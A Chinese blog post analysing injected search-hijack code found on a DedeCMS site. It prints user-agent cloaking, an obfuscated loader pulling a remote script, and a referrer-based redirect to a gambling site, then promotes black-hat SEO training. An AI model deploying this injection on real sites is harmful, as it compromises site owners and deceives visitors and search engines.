百度快照劫持大家應該都聽過,但具體是怎么回事呢?今天給大家講一下。
有個朋友的站,是用dedecms做的,不得不吐槽一下,DEDECMS果然是漏洞百出,然后被HACK插入了代碼。今天我們來分析這幾行代碼,比較簡單,也很容易學會。
【1】<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "{dede:global.cfg_webname/}"}</script>
大家來看這段JS,JS里面包含一個判斷,是根據什么判斷呢,這是是根據userAgent來判斷,如果不是百度來的,那就顯示dedecms本身的標題,所以這也就是為什么我們直接打開網頁,(輸入網址的方式打開)而顯示正常標題的原因。
【2】<title>天津时时彩,天
津时时彩规则,天
津时时彩玩法,天
津时时彩稳赢方案
-彩乐园</title>
我們再來看這三行代碼,這三行代碼好像看不懂,不過他采用的是Unicode編碼,解碼以后,是“天津時時彩,天津時時彩規則,天津時時彩玩法,天津時時彩穩贏方案-彩樂園”這一行代碼,搞懂了。
【3】
<script type="text/javascript">
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('
\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a
\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x
72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x74\x2e\x63\x6e\x2f\x52\x6e\x
59\x30\x68\x4c\x6c\x22\x3e\x3c\x2
f\x73\x63\x72\x69\x70\x74\x3e');
</script>
解密出來就是這段話:
< script type = "text/javascript" > window["document"]["write"]('<script type="text/javascript" src="http://t.cn/RnY0hLl"></script>'); < /script>
意思是向首頁中插入這行代碼
那為什么還是會跳轉呢?就是這行代碼的事,這個轉代碼其實是向原網頁插入一JS JS原地址 :
http://xxx.com/cly.js
而JS的內容是如下內容:
document.writeln("<script LANGUAGE=\'Javascript\'>");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\'baidu\')>0 || s.indexOf(\'sogou\')>0 || s.indexOf(\'soso\')>0 ||s.indexOf(\'
sm\')>0 ||s.indexOf(\'uc\')>0 ||s.indexOf(\'bing\')>0 ||s.indexOf(\'yahoo\')>0 ||s.indexOf(\'so\')>0 ||s.indexOf(\'google\')>0)");
document.writeln("location.href=\'http://t.cn/RnYpcMt\';");
document.writeln("</script>");
document.writeln("");
document.writeln("");
明白的人就懂了,說是百度快照 劫持,其實只要是搜索引擎來的都會劫持。跳轉到另一個短網址,而短網址解密出來:http://www.caileyuan.cc
就是這個BC網站,這些黑客真是煞費苦心。
今天的課程就分享完了,其實學習黑帽SEO并不難,主要是方法正確,認真研究,都可以做得不錯。
專注于SEO培訓,快速排名黑帽SEO https://www.heimao.wiki
評論列表